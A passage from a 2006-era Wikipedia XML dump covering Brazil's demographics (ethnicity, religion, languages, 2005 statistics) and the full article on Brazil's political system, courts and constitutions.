The descendants of the European immigrants, particularly the Germans, Italians, and Poles, are largely concentrated in the southern part of the country, in the states of [[Rio Grande do Sul]], [[Santa Catarina]], [[Paraná]], and [[São Paulo (state)|São Paulo]]; these states, together with the Spanish speaking countries of [[Argentina]] and [[Uruguay]] have a large majority of people of European descent. In the rest of the country, most of the [[White (people)|white]] population is of older settler stock. In the mid-southern states of [[Rio de Janeiro]], [[Espírito Santo]], [[Minas Gerais]], [[Goiás]], [[Mato Grosso do Sul]] and in the Federal District of [[Brasilia]], the number of whites is somewhat equal to the number of [[Afro-Brazilian]] and Mixed Race Brazilians. In the Northeast, which received large masses of African slaves to work in [[sugarcane]], [[tobacco]] and [[cotton]] plantations, people of African descent are dominant.  The city of Salvador da [[Bahia]] is considered one of the largest black cities of the World. Many poorer people from the Northeast have migrated to the large cities of [[Rio de Janeiro]] and [[São Paulo]] in the south, helping improve the racial [[melting pot]] that characterizes these two megalopolises. In the Northwest (covering largely the Brazilian [[Amazon Basin|Amazon]]), great part of the population has distinguisheable ethnic characteristics that emphasize their Native Brazilian roots. In fact, it is the only region where Mixed-Race Brazilians have distinct Indian traces. This is due to recent colonization by other ethhic groups, which have merged with the Indigenous tribes that lived there. This region, however, is not very populated, and these Mixed-Race people with noticeable Indigenous origins (named &quot;caboclos&quot;) represent only a tiny part of the entire Brazilian population.

[[Image:Z24-01963.jpg|thumb|300px|Brazilian people's diversity]]

The [[Japanese people|Japanese]] are the largest [[Asian]] group in Brazil. In fact, Brazil has the largest Japanese population outside Japan, with 1.5 million [[Japanese-Brazilian]]s, most of them living in [[São Paulo]]. Some [[overseas Chinese|Chinese]] and [[Koreans]] also settled Brazil. Most Chinese came from [[mainland China]], but others came from [[Taiwan]] and [[Hong Kong]], and also from Portuguese-speaking [[Macau]]&amp;mdash;these Chinese from [[Macau]] could speak and understand Portuguese, and it was not hard for them to adjust to Brazilian life. Those immigrant populations and their descendants still retain some of their original ethnic identity, however they are not closed communities and are rapidly integrating into mainstream Brazilian society: for instance, very few of the third generation can understand their grandparents' languages.

===Health===
According to Brazillian Government, the most serious health problems are (figures from 2002):

* High levels of childhood mortality: about 2.51% of childhood mortality  reaching 3.77% in the northeast region.

* High levels of motherhood mortality: about 73.1 deaths per 100,000 born children in 2002.

* High levels of mortality by non-transmissible illness: 151.7 deaths per 100,000 habitants caused by heart and circulatory diseases, along with 72.7 deaths per 100,000 habitants caused by cancer.

* High levels of mortality caused by external causes (transportation, violence and suicide): 71.7 deaths per 100,000 habitants (14.9% of all deaths in the country), reaching 82.3 deaths in the southeast region.

[http://www.planejamento.gov.br/planejamento_investimento/conteudo/radarsocial/saude.htm]

===Religion===
About 74% of all Brazilians claim to be members of the [[Roman Catholic Church]]; most of the remaining 26% adhere to various [[Protestant]] faiths, [[Kardecism]], [[Candomblé]], [[Umbanda]], [[Judaism]], [[Islam]], and [[Buddhism]].

According to IBGE 2000 Census, these are the biggest religious denominations in Brazil (only listed those with more than a half million members):

* [[Roman Catholic Church]]: 124,980,132
: Its Charismatic Renewal branch is fast growing; the Progressive Branch (Liberation Theology) and the Conservative branch are in decline. Only 15% of its membership attends the church regularly.

* Assemblies of God (Assembléias de Deus): 8,418,140
: General Convention of the Assemblies of God: 3.6 Million. Affiliated with the American [[Assemblies of God]], Springfield, MO
: National Convention of the Assemblies of God: 2.5 Million.  A.k.a. Madureira Ministry of the Assemblies of God
: Other independent Assemblies of God: 1,9 Million, such as Bethesda Assemblies of God

* [[Baptist]]:3,162,691
: Brazilian Baptist Convention: 1,2 Million adherents.  Affiliated to US Southern Baptists
: National Baptist Convention: 1 Million.  Charismatics Baptists
: Independent Baptist Convention: 400,000.  Scandinavian Baptists
: Other Baptists: 400,000

* [[Christian Congregation of Brazil]]: 2,6 Million. Italian-Brazilian Pentecostals

* Spiritist: 2,262,401
: These includes Kardec Spiritualist; [[Afro-Brazilian]] Sincretists, New Age, etc, but with a much larger influence than their numbers

* Universal Church of the Kingdom of God (Igreja Universal do Reino de Deus): 2 Million.  Neo-Pentecostal Movement.

* Foursquare Gospel Church: 1,318,805. Classic Pentocostals in US, but second-wave pentecostals in Brazil.

* [[Adventist]]s: 1,2 Million
: [[Seventh-day Adventist Church]]: 900,000
: Promise Adventist Church: 150,000. Indigenous Pentecostal Adventists.
: Reform Seventh Day Adventist Church: 50,000
: Other Adventists: 100,000

* [[Lutheran]]s: 1 Million
: Evangelical Church of Lutheran Confission
: Evangelical Lutheran Church of Brazil
: Other Lutherans

* [[Calvinist]]s: 1 Million
: Presbyterian Church of Brazil: 450,000
: Independent Presbyterian Church: 300,00
: Congregationalists: 100,000
: Other Calvinists:150,000

* [[Jehovah's Witness]]es: 570,000

* God is Love Pentecostal Church: 700,000. Divine Healing movement.

* Independent Catholics: 600,000
: Groups like Brazilian Catholic Apostolic Church and many other small ones.

* [[Church of Jesus Christ of Latter-day Saints|The Church of Jesus Christ of Latter-day Saints]] (&quot;LDS Church&quot;; see also [[Mormon]]) About 800,000 members
* [[Islam in Brazil]] 0.016% or 27,239 people according to the last census, mostly recent Arab immigrants)

The non-religious people, [[atheism|Atheists]] and [[Agnostics]], number about 7.3%.

===Languages===
[[Portuguese language|Portuguese]] is the official language and spoken by the entire population. [[Spanish language|Spanish]] is understood in various degrees by most people. [[English language|English]] is part of the official high school curriculum, but very few people achieve any usable degree of fluency in it.

Brazil is the only [[Portuguese language|Portuguese]]-speaking nation in [[the Americas]], giving it a distinct national culture separate from its [[Spanish language|Spanish]]-speaking neighbors. 

Portuguese is the only language with full official status in Brazil; it is virtually the only language used in schools, newspapers, radio and TV, and for all business and administrative purposes.

However, many minority languages are spoken daily throughout the vast national territory of Brazil. Some of these languages are spoken by indigenous peoples. Others yet are spoken by people who are for the most part bilingual (i.e. speakers of Portuguese and English, French, German, and/or Italian, etc.).

Many of the indigenous people speak languages like: [[Guaraní language|Guaraní]], [[Kaingang language|Kaingang]], [[Nadëb language|Nadëb]], [[Carajá language|Carajá]], [[Caribe language|Caribe]], [[Tucano language|Tucano]], [[Arára language|Arára]], [[Terêna language|Terêna]], [[Borôro language|Borôro]], [[Apalaí language|Apalaí]], [[Canela language|Canela]] and many others. Not all [[Amerindian|Amerindians]] desire to become part of the mainstream culture of [[Brazil]]. Even though [[minority|minorities]] are what they are, that is minorities, cultural conflicts cannot be dismissed as insignificant or unimportant based what percentage of the national population they are.

Interestingly enough some of these minority languages recently have obtained local ''co-official status'' &amp;mdash; e.g. [[Tupi|Nheengatu]], [[Tukano language|Tukano]], and [[Baniwa language|Baniwa]] in [[São Gabriel da Cachoeira]], [[Amazonas State, Brazil|Amazonas]] (2003).

The Brazilian language [[Língua Geral]] which is now almost extinct, at one time, until the late 1800s, was the common language used by a large number of indigenous, [[African]], and [[African-Brazilian|African-descendant]] peoples throughout the coast of [[Brazil]] &amp;mdash; it was spoken by the majority of the population in the land.  It was proscribed by the [[Marquis of Pombal]] for its association with the Jesuit missions.  Today, in the [[Amazon Basin]], political campaigning is still printed in this now rare [[language]].

Other languages such as [[German language|German]], [[Italian language|Italian]], [[Polish language|Polish]] and [[Japanese language|Japanese]] are spoken in southern [[Brazil]]. There are whole regions in southern Brazil where people speak both [[Portuguese language|Portuguese]] and one or more of these languages.  For example, it is reported that more than 90% of the residents of the small city of [[Presidente Lucena]], located in the state of [[Rio Grande do Sul]], speak [[Riograndenser Hunsrückisch]], a Brazilian form of the [[Hunsrückisch]] [[dialect]] of German (see [http://www.rotaromantica.com.br/cid_presidente_lucena01.htm this website]).

Although they have been rapidly replaced by [[Portuguese language|Portuguese]] in the last few decades &amp;mdash; partly by a government decision to integrate immigrant populations &amp;mdash;, today states like [[Rio Grande do Sul]] are trying to reverse that trend and [[Immigrant Languages]] such as [[German language|German]] and [[Italian language|Italian]] are being reintroduced into the curriculum again in communities where they originally thrived. Meanwhile, on the [[Argentina|Argentinian]] and [[Uruguay|Uruguayan]] border regions, Brazilian students are being introduced (formally) to the [[Spanish language]].

More and more people are realizing in [[Brazil]] that a person can master and carry more than one language throughout their lives. In other words, integration into mainstream society does not mean that one has to become [[monolingual]]. More and more the reasoning is that if languages are a [[human capital]] of great value to some, perhaps they should be considered valuable to one all.

Some immigrant communities in southern [[Brazil]], chiefly the [[Ethnic German|German]] and the [[Italians|Italian]] ones, have lasted long enough to develop distinctive dialects from their original European sources. For example, [[Brazilian German]], [[Riograndenser Hunsrückisch]] or [[Hunsrückisch]] and [[Talian]] or Italiano Riograndense. These are not languages per se but distinct dialects (from their original European counterparts).

Other transplanted [[German language|German]] [[dialect|dialects]] to this part of the world have not under gone the same level of changes. For example, the [[Austria|Austrian]] dialect spoken in [[Dreizehnlinden]] or [[Treze Tílias]] in the state of [[Santa Catarina State|Santa Catarina]]; or the dialect of the [[Donauschwaben]] spoken in [[Entre Rios Municipality|Entre Rios]], in the state of [[Paraná]]; or the [[Pomeranian language|Pomeranian]] (Pommersch) dialect spoken in many different parts of southern Brazil (in the states of [[Rio Grande do Sul]], [[Santa Catarina State|Santa Catarina]], [[Paraná]], [[Espírito Santo]], etc.). [[Plautdietsch]] is spoken by the descendants of [[Russian Mennonites]].

A Japanese-language newspaper, the ''[[São Paulo Shinbun]]'', is published in the city of [[São Paulo]]. There is a significant community of [[Japanese speakers]] in [[Paraná]] and [[Amazonas State, Brazil|Amazonas]]. Much smaller groups exist in [[Santa Catarina]], [[Rio Grande do Sul]] and other parts of [[Brazil]].

Many Chinese, especially from Macau, speak a [[Portuguese creole]], the [[Macanese language]] (''Patuá'' or ''Macaista''), aside from Portuguese, [[Mandarin (linguistics)|Mandarin]], and [[Cantonese (linguistics)|Cantonese]].

In [[São Paulo]], the [[Deutschbrasilianer|German-Brazilian]] newspaper [[Brasil-Post]] has been published for over fifty years. The [[Livraria Alemã]] of [[Blumenau]] was a fixture in the city for a long time. There are many other media organizations throughout the land specializing either in church issues, music, language, etc. The German-Brazilian community in Brazil is estimated to be in the millions.

The Italian online newspaper [[La Rena]] offers [[Brazilian-Italian]] or [[Talian]] lessons.

There are many other non-Portuguese publications, bilingual web sites, radio and television programs throughout the country. For example, [[TV GALEGA]] from [[Blumenau]] shows German-language programming on their channel on a weekly basis.

The [[English-language]] daily ''[[Brazil Herald]]'' is directed mostly to [[tourist|tourists]], foreign executives and expatriates.

Most major foreign newspapers can be obtained in larger Brazilian cities ([[Frankfurter Allgemeine]]; [[Le Monde]]; [[The New York Times]]; etc.)

==Demographic Breakdown==
[[Image:Brazil-demography.png|thumb|300px|right|Demographics of Brazil, Data of [[Food and Agriculture Organization|FAO]], year 2005 ; Number of inhabitants in thousands.]]

===Population===
:186,112,794
:''Note'': Brazil took a count in August 2000, which reported a population of 169,799,170; that figure was about 3.3% lower than projections by the US Census Bureau, and is close to the implied underenumeration of 4.6% for the 1991 census; estimates for this country explicitly take into account the effects of excess mortality due to AIDS; this can result in lower life expectancy, higher infant mortality and death rates, lower population and growth rates, and changes in the distribution of population by age and sex than would otherwise be expected (July 2005 est.). However, there is also a dramatic decrease in fertility rates since the 70's

===Age structure===
:0-14 years: 26.1% (male 24,789,495/female 23,842,715)
:15-64 years: 67.9% (male 62,669,392/female 63,719,631)
:65 years and over: 6% (male 4,549,552/female 6,542,009) (2005 est.)

===Median age===
:Total: 27.81 years
:Male: 27.06 years
:Female: 28.57 years (2005 est.)

===Population growth rate===
:1.06% (2005 est.)

===Birth rate===
:16.83 births/1,000 population (2005 est.)

===Death rate===
:6.15 deaths/1,000 population (2005 est.)

===Net migration rate===
:-0.03 migrant(s)/1,000 population (2005 est.)

===Sex ratio===
:At birth: 1.05 male(s)/female
:Under 15 years: 1.04 male(s)/female
:15-64 years: 0.98 male(s)/female
:65 years and over: 0.7 male(s)/female
:Total population: 0.98 male(s)/female (2005 est.)

===Infant mortality rate===
:Total: 29.61 deaths/1,000 live births
:Male: 33.37 deaths/1,000 live births
:Female: 25.66 deaths/1,000 live births (2005 est.)

===Life expectancy at birth===
:Total population: 71.69 years
:Male: 67.74 years
:Female: 75.85 years (2005 est.)

===Total fertility rate===
:1.93 children born/woman (2005 est.)

===Nationality===
:Noun: Brazilian(s)
:Adjective: Brazilian

===Ethnic groups===
The only relatively isolated minority ethnic groups in Brazil are various non-assimilated [[indigenous people of Brazil|indigenous tribes]], comprising less than 1% of the population, who live in officially delimited reservations and either avoid contact with &quot;civilized&quot; people, or constitute separate social and political communities.

The rest of the population can be considered a single &quot;Brazilian&quot; ethnic group, with highly varied racial types and backgrounds, but without clear ethnic sub-divisions. By physical type, a recent survey gives 55% &quot;white&quot;,  38% &quot;mixed&quot;, 6% &quot;black&quot;, 1% &quot;other&quot;. (However, these labels are poorly defined, and it is not known how they were determined for the survey.)

The [[ethnic origin]] of the Brazilians can be traced to:
* [[Portuguese people|Portuguese]]
* [[Italians]]
* [[French people|French]]
* [[Dutch people|Dutch]]
* [[Yoruba]]
* [[Éwés|Ewe]]
* [[Bantu]]
* [[Tupi]]
* [[Guarani]]
* [[German people|Germans]]
* [[Syria|Syrian]]
* [[Spanish people|Spaniards]]
* [[Poles]]
* [[Lebanon|Lebanese]]
* [[Japanese-Brazilian|Japanese]]
* [[Overseas Chinese|Chinese]]
* [[Koreans]]
* [[Lithuanians in Brazil|Lithuanians]]

===Religions===
[[Roman Catholic]] (nominal) 80%; most of the other 20% belong to [[Protestantism|Protestant]] denominations, [[Kardecism]], [[Judaism]], [[Islam]], [[Buddhism]], [[Candomblé]] and [[Umbanda]].

===Literacy===
:Definition: age 15 and over can read and write
:Total population: 86.4%
:Male: 86.1%
:Female: 86.6% (2003 est.)

==See also==
*[[Race#Race in Brazil|Race in Brazil]]

==References==
# {{note|BrazilCensusForms}} {{cite web
 | title=Census Questionnaires
 | work=IPUMS International
 | url=http://www.ipums.org/international/source_materials.html
 | accessdate=December 17 | accessyear=2005
 }}
{{CIA WFB 2005}}

{{South America in topic|Demographics of}}

[[Category:Demographics by country|Brazil]]
[[Category:Geography of Brazil]]
[[Category:Brazilian society]]

[[es:Demografía de Brasil]]
[[nb:Brasils demografi]]
[[pt:Demografia do Brasil]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Brazil</title>
    <id>3633</id>
    <revision>
      <id>41449215</id>
      <timestamp>2006-02-27T11:19:44Z</timestamp>
      <contributor>
        <username>Gurch</username>
        <id>241822</id>
      </contributor>
      <minor />
      <comment>ammendment -&gt; amendment</comment>
      <text xml:space="preserve">'''Brazil''' is a [[federal republic]] with 26 [[state]]s and a [[Federal District|federal district]]
(see: [[States of Brazil]]).
{{Politics of Brazil}}
The 1988 constitution grants broad powers to the federal government, made up of executive, legislative, and judicial branches. 
The president holds office for four years, with the right to re-election for an additional four-year term, and appoints his own cabinet. 
There are 81 senators, three for each [[List of states of Brazil|state]] and the [[Brazilian Federal District|Federal District]], and 513 deputies. 
[[Federal Senate of Brazil|Senate]] terms are for eight years, with election staggered so that two-thirds of the upper house is up for election at one time and one-third four years later. 
[[Chamber of Deputies of Brazil|Chamber of Deputies]] terms are for four years, with elections based on a complex system of proportional representation by states. 
The seats are alloted proportionally to each state's population, but each state is eligible for a minimum of eight seats and a maximum of 70 seats. The result is a system weighted in favor of smaller states.

The military governed Brazil in alliance with the civilian economic and social elite between 1964 and 1985. In contrast to other bureaucratic authoritarian regimes in the region, Brazil’s rulers maintained elections but reorganised the party system by reducing their total number to two: a pro-regime party and another which acted as a magnet to dissidents.

A process of transition was begun in the 1970s, during which the party system was opened up in 1982 and direct elections for state governors and mayors allowed. An economic crisis in the 1980s coincided with a demand to wider democracy with a demand for direct elections in 1984. In 1985 the military handed over power to a civilian government, albeit following an indirect election in which a compromise candidate was chosen: Tancredo Neves. However, Neves died before he could assume office, his position being taken by his vice-president, José Sarney, who had been a member of the pro-military party in Congress during the dictatorship.

The first direct presidential election in 1989 saw the young, charismatic, neo-liberal populist and former governor of small Alagoas state, Fernando Collor de Mello, beat the Workers’ Party (PT) leader, [[Luis Inácio Lula da Silva]] for the presidency in a second round run-off. He was soon embroiled in a campaign finance scandal leading to his impeachment. He resigned in 1992, being replaced by his vice-president, Itamar Franco, a regional politician from the state of Minas Gerais. Franco appointed the prominent sociologist and social democrat, Fernando Henrique Cardoso, to serve as his finance minister. In 1993 Mr Cardoso launched his Real Plan, replacing the discredited old currency and pegging its value to the dollar. Inflation – which had become a fact of Brazilian life – was cut dramatically, enabling him to win the presidential race against Lula in 1994. During his first term, a constitutional amendment was passed to enable a sitting president to run for re-election, after which he again beat Lula in 1998. Lula would eventually be elected in his own right in 2002. In part his victory was derived from a softening of his and the party’s anti-neoliberal stance, including a vice-presidential candidate from the right-wing Liberal Party, acceptance of an IMF accord agreed to by the previous government and a line of discourse friendly to the markets.

Fifteen political parties are represented in [[National Congress of Brazil|Congress]]. 
Since it is common for politicians to switch parties, the proportion of congressional seats held by particular parties changes regularly. 
[[Image:Brazil.Congress.01.jpg|thumb|right|350px|Chamber of Deputies]]

===States and municipalities===
Brazil is divided into two types of subnational units: States and Municipalities.

====States====
Brazilian ''states'' are semi-autonomous self-governing entities organized with complete administration branches, relative financial independence and their own set of symbols, similar to those owned by the nation itself. Despite their relative autonomy they all have the same model of administration, as set by the Constitution.

State hold elections every four years and exercise a considerable amount of power, since the 1988 constitution -- besides allowing them to keep their own taxes -- mandated regular allocation of a share of the taxes collected locally by the federal government.

The Executive is held by the ''Governador'' (Governor) and his appointed ''Secretários'' (Secretaries); the Legislative is held by the ''Assembléia Legislativa'' (literally, Law-Making Assembly); and the Judiciary, by the ''Tribunal de Justiça'' (Law Court). The governors and the members of the assemblies are elected, but the members of the Judiciary are appointed by the governor from a list provided by the current members of the State Law Court containing only judges (these are chosen by merit in exams open to anyone with a Law degree). The name chosen by the governor must be approved by the Assembly before inauguration. Since the 1988 Constitution this is the greatest amount of autonomy the states have been granted since the Old Republic. As a consequence, state governors are very visible nationwide and often run for president.

Each of the 27 governors must achieve more than 50 per cent of the vote, including a second round run-off between the top two candidates if necessary. In contrast to the federal level, state legislatures are unicameral, although the deputies are elected through similar means, involving an open-list system in which the state serves as one constituency. State level elections occur at the same time as those to the president and Congress. In 2002 candidates from eight different parties won the gubernatorial contest while 28 parties are represented in the country’s state legislatures. The next set of elections will take place in 2006.

The most important Brazilian states (in terms of population, economic power and cultural relevance) are [[São Paulo (state)|São Paulo]], [[Rio de Janeiro]], [[Minas Gerais]], [[Rio Grande do Sul]], [[Paraná]], [[Bahia]], [[Pernambuco]] and [[Pará]].

====Municipalities====
Brazil has no clear distinction between ''towns'' and ''cities'' (in effect, the Portuguese word '''cidade''' means both). The only possible difference is regarding the municipalities which have a Law Court and those who have not. The first are called ''Sedes de Comarca'' (''Comarca'' being the territory under the rule of that specific Court). Other than this, only size and importance differs one from another.

The Municipality (''Município'') is a territory comprising one urban area, the ''sede'' ('''seat'''), from which it takes the name, and several other minor urban or rural areas, the ''distritos''. The seat of a municipality must be the most populous urban area within it, when another urban are grows too much it usually splits from the original municipality to form another one.

A Municipality is relatively autonomous: it is allowed to have its own ''constitution'' (properly called ''Lei Orgânica''), to collect taxes and fees, to maintain a municipal police force, to pass laws on any matter that does not contradict either the state or the national constitution and to imperson itself with symbols (like a flag, an anthem and a coat-of-arms). However, not all municipalities exercise the entirety of this autonomy. For instance, only a few municipalities keep local police forces, some of them do not collect some taxes (to attract investors or residents) and many of them do not have a flag (although they are all required to have a coat-of-arms).

Municipalities are governed by an elected ''prefeito'' [[Mayor]] and an unicameral ''Câmara de Vereadores'' (Councilors Chamber). In municipalities with more than 200,000 inhabitants, the Mayor must be elected by more than 50% of the valid vote. The executive power is called ''Prefeitura''.

Brazilian municipalities can vary widely in area and population. The municipality of [[Altamira, Brazil]], in the State of [[Pará]] is larger than most countries of the world ( . Tenths of Brazilian municipalities are over 1,000,000 inhabitants.

Until 1974 Brazil had one state-level municipality, the [[State of Guanabara]], now merged with [[Rio de Janeiro (state)|Rio de Janeiro]], which comprised [[Rio de Janeiro (city)| the city of Rio de Janeiro]] only. 

====The Federal District====
The Federal District is an anomalous unit of the federation, as it is not organized the same manner as a municipality, does not posses the same autonomy as a state (but is ranked among them) and is closely related to the central power.

It is considered a single municipality, divided into the seat ([[Brasilia]] itself) and some urban districts (the so-called ''Satellite Cities''). Satellite cities are ''created'' (in right) and governed directly by the governor of the federal district and possess no true identity.

===Principal government officials=== 

*President: [[Luiz Inácio Lula da Silva]]
*Vice-President: [[José Alencar Gomes da Silva]]

===Country name===
[[Image:Brazil.Congress.02.jpg|thumb|right|350px|Senate]]
&lt;br /&gt;''conventional long form:''
Federative Republic of Brazil
&lt;br /&gt;''conventional short form:''
Brazil
&lt;br /&gt;''local long form:''
República Federativa do Brasil
&lt;br /&gt;''local short form:''
Brasil

===Government type===
Federative republic

===Capital===
[[Brasília]] &amp;ndash; [[Distrito Federal, Brazil|DF]]

===Administrative divisions===
26 [[States of Brazil|states]] ''(estados;'' singular &amp;ndash; ''estado)'' and 1 federal district* ''(distrito federal);'' [[Acre State|Acre]], [[Alagoas]], [[Amapá]], [[Amazonas State, Brazil|Amazonas]], [[Bahia]], [[Ceará]], [[Brazilian Federal District|Distrito Federal]]*, [[Espírito Santo]], [[Goiás]], [[Maranhão]], [[Mato Grosso]], [[Mato Grosso do Sul]], [[Minas Gerais]], [[Pará]], [[Paraíba]], [[Paraná]], [[Pernambuco]], [[Piauí]], [[Rio de Janeiro State|Rio de Janeiro]], [[Rio Grande do Norte]], [[Rio Grande do Sul]], [[Rondônia]], [[Roraima]], [[Santa Catarina State|Santa Catarina]], [[São Paulo (state)|São Paulo]], [[Sergipe]], [[Tocantins State|Tocantins]]

[[Image:Brasilia National Congress.JPG|thumb|right|350px|[[National Congress of Brazil]].]]

===Independence===
[[September 7]] [[1822]] (from [[Portugal]])

===National holiday===
Independence Day, [[7 September]] (1822)

===Constitution===
Now: [[5 October]] [[1988]]

Brazil has had seven [[constitution]]s:
* [[1824 Brazilian Constitution|Constitution of 1824]] &amp;ndash; the first Brazilian constitution, enacted by [[Pedro I of Brazil|Dom Pedro I]].  It was monarchic, hereditary and highly centralized, permitting the vote only to property-holders.
* [[1891 Brazilian Constitution|Constitution of 1891]] &amp;ndash; the republic was proclaimed in 1889, but a new constitution was not promulgated until 1891.  This federalist, democratic constitution was heavily influenced by the [[United States|U.S.]] model.  However, women and illiterates were not permitted to vote.
* [[1934 Brazilian Constitution|Constitution of 1934]] &amp;ndash; when [[Getúlio Vargas]] came to power in 1930, he canceled the 1891 constitution and did not permit a new one until 1934.  The [[Constitutionalist Revolution (Brazil)|Constitutionalist Revolution]] of 1932 forced Vargas to enact a new democratic constitution that permitted women's suffrage.  Getúlio Vargas was elected president by the Constitutional Assembly to a four-year term, beginning in 1933.
* [[1937 Brazilian Constitution|Constitution of 1937]] &amp;ndash; Getúlio Vargas suppressed a Communist uprising in 1935 and used it as a pretext to establish autocratic rule.  He instituted a corporatist constitution nicknamed ''the polish,'' written by [[Francisco Campos (lawyer)|Francisco Campos]].
* [[1946 Brazilian Constitution|Constitution of 1946]] &amp;ndash; after a military coup ousted dictatorial Getúlio Vargas, an Assembly wrote a democratic constitution.  
* [[1967 Brazilian Constitution|Constitution of 1967]] &amp;ndash; after the 1964 coup d'etât against [[João Goulart]], the military dictactorship passed the ''Institutional Acts'', a supraconstitutional law.  This strongly undemocratic constitution simply incorporated these Acts.
* [[1988 Brazilian Constitution|Constitution of 1988]] &amp;ndash; the progressive redemocratization culminated in the current constitution.  Very democratic, it is more expansive than a normal constitution &amp;ndash; many statutory acts in other countries are written into this constitution, like Social Security and taxes.

===Legal system===
Based on Roman codes; 
has not accepted compulsory [[International Court of Justice|ICJ]] jurisdiction.

===Suffrage===
Suffrage is voluntary between 16 and 18 years of age and over 70; compulsory over 18 and under 70 years of age (except for a few categories, such as illiterate and disabled people, for whom it is voluntary).
President, state governors and mayors of state capitals and large cities are elected in two rounds ([[runoff voting]]):  if no candidate obtains a [[majority]], the first two candidates of the first turn go for a second one. Senators and mayors of smaller cities (less than 400,000 habitants) are elected in a single round ([[First Past the Post electoral system|winner takes all]]).  Deputies and city council members are elected by [[Proportional representation|proportional]] elections with [[open list|open]] [[Party-list proportional representation|party list]]s:  the party candidates with the most individual votes take office.

==Executive branch==
&lt;br /&gt;''[[Head of State]]:''
[[Luiz Inácio Lula da Silva]] (since [[1 January]] [[2003]]); Vice President [[José Alencar Gomes da Silva]] (since [[1 January]] [[2003]]); note &amp;ndash; the president is both the chief of state and head of government
&lt;br /&gt;''[[Head of government]]:''
[[Luiz Inácio Lula da Silva]] (since [[1 January]] [[2003]]); Vice President [[José Alencar Gomes da Silva]] (since [[1 January]] [[2003]]); note &amp;ndash; the president is both the chief of state and head of government
&lt;br /&gt;''[[cabinet]]:''
Cabinet appointed by the president

==Legislative branch==
Bicameral [[National Congress of Brazil|National Congress]] or ''Congresso Nacional'' consists of the [[Federal Senate of Brazil|Federal Senate]] or ''Senado Federal'' (81 seats; three members from each state or federal district elected according to the principle of majority to serve eight-year terms; one-third elected after a four year period, two-thirds elected after the next four-year period) and the [[Chamber of Deputies of Brazil|Chamber of Deputies]] or ''Câmara dos Deputados'' (513 seats; deputies are elected by proportional representation to serve four-year terms).

==Political parties and elections==
{{elect|List of political parties in Brazil|Elections in Brazil}}
{{Brazilian presidential election, 2002}}
{{Brazilian legislative election, 2002}}

==Judicial branch==
{{main|Justice in Brazil}}
Brazilian [[jurisdiction]] courts function under [[civil law (legal system)|civil law]] and [[adversarial system]]. The Judicial Branch are organized in states' and federal systems with different jurisdictions.

The judges of the courts of first instance take office after [[public competitive examinations]]. The second instance judges are promoted among the first instance judges. The Justices of the superior courts are appointed by the president for life and approved by the Senate. All the judges and justices must be graduated in law. Any Brazilian judge is compulsory retired at the age of 70.

===States' judicial branch===
The state territory is divided into [[judicial districts]] named ''comarcas'', which are composed by one or more cities. Each ''comarca'' has at least one [[court of first instance]]. There are specialized courts of first instance for [[family litigation]] or [[bankruptcy]] in some cities and states. Judgments from theses district courts can be subject of [[judicial review]] by the [[courts of second instance]].

Judgments of courts of first instance are usually made by only one judge. Brazilian judiciary system uses [[jury]] trials only for intentional crimes against the human life &amp;#8211; like [[murder]].

In all Brazilian states, there is only one court of second instance, named Justice Tribunal (''Tribunal de Justiça'' in Portuguese). Some states, as [[São Paulo (state)|São Paulo]] and [[Minas Gerais]],  used to have [[Courts of Appeals]] (''Tribunal de Alçada'' in Portuguese) too, but with different jurisdiction. The highest court of a state is the Justice Tribunal.

The second instance judgments are usually made by three judges, who, in the Justice Tribunals, are named ''desembargadores''.

===Federal judicial branch===
The national territory is divided into five Regions, which are composed by one or more states. Each region is divided in Judiciary Sections (''Seções Judiciárias'' in Portuguese) with a territory that may not correspond to the states' comarcas.

The Judiciary Sections has [[federal court]]s of first instance and each Region has a Federal Regional Tribunal (''Tribunal Regional Federal'' in Portuguese) as a court of second instance.

There is a special federal court system for [[labor litigations]] called Labor Justice (''Justiça do Trabalho'' in Portuguese) with its own courts.

===Superior Courts===
There are two national superior courts that grant [[writs]] of [[certiorari]] in civil and criminal cases: the Superior Justice Tribunal (''Superior Tribunal de Justiça'' in Portuguese), also know as STJ, and the Brazilian superior court called [[Supreme Federal Tribunal]] (''Supremo Tribunal Federal'' in Portuguese), also know as STF.

STJ grants a Special Appeal (''Recurso Especial'' in Portuguese) when a judgment of a court of second instance offends a [[federal statute]] disposition or when the second instance courts in two or more have decided in different ways about a same federal statute. There are courts similar to the STJ for [[labor law]], [[electoral law]] and [[military law]].

STF grants an Extraordinary Appeal (''Recurso Extraordinário'' in Portuguese) when a judgment of a court of second instance offends a constitutional disposition. STF is the last instance for the writ of [[habeas corpus]], including review of a judgment from the STJ.

The superior courts do not analyze any factual questions in their judgments, but only the application of law and constitution. Facts and evidences must be judged in last instance by the courts of second instance, except in very special cases like the writ of habeas corpus.

==Political pressure groups and leaders==
Left wing of the Catholic Church, Landless Worker's Movement, and labor unions pressure the government for more intense reforms on taxation and land property, while rightist PFL and PSDB are critical of government's social and economic policies.

==International organization participation==
[[African Development Bank]], [[Customs Cooperation Council]], [[United Nations Economic Commission for Latin America and the Caribbean]], [[Food and Agriculture Organization]], [[Group of 11]], [[Group of 15]], [[Group of 19]], [[Group of 24]], [[Group of 77]], [[Inter-American Development Bank]], [[International Atomic Energy Agency]], International Bank for Reconstruction and Development ([[World Bank]]), [[International Civil Aviation Organization]], [[International Chamber of Commerce]], [[International Criminal Court]], [[International Confederation of Free Trade Unions]], [[International Red Cross and Red Crescent Movement]], [[International Development Association]], [[International Fund for Agricultural Development]], [[International Finance Corporation]], [[International Federation of Red Cross and Red Crescent Societies]], [[International Hydrographic Organization]], [[International Labour Organization]], [[International Monetary Fund]], [[International Maritime Organization]], [[Inmarsat]], [[International Telecommunications Satellite Organization]], [[Interpol]], [[International Olympic Committee]], [[International Organization for Migration]] (observer), [[International Organization for Standardization]], [[International Telecommunication Union]], [[Latin American Economic System]], [[Asociación Latinoamericana de Integración]], [[Mercosur]], [[Nonaligned Movement]] (observer), [[Nuclear Suppliers Group]], [[Organization of American States]], [[Agency for the Prohibition of Nuclear Weapons in Latin America and the Caribbean]], [[Organization for the Prohibition of Chemical Weapons]], [[Permanent Court of Arbitration]], [[Rio Group]], [[United Nations]], [[United Nations Conference on Trade and Development]], [[United Nations Educational, Scientific, and Cultural Organization]], [[United Nations High Commissioner for Refugees]], [[United Nations Industrial Development Organization]], [[United Nations Mission of Observers in Prevlaka]], [[United Nations Transitional Administration in East Timor]], [[United Nations University]], [[Universal Postal Union]], [[World Confederation of Labour]], [[World Federation of Trade Unions]], [[World Health Organization]], [[World Intellectual Property Organization]], [[World Meteorological Organization]], [[World Tourism Organization]] [[World Trade Organization]]

==Flag description== 
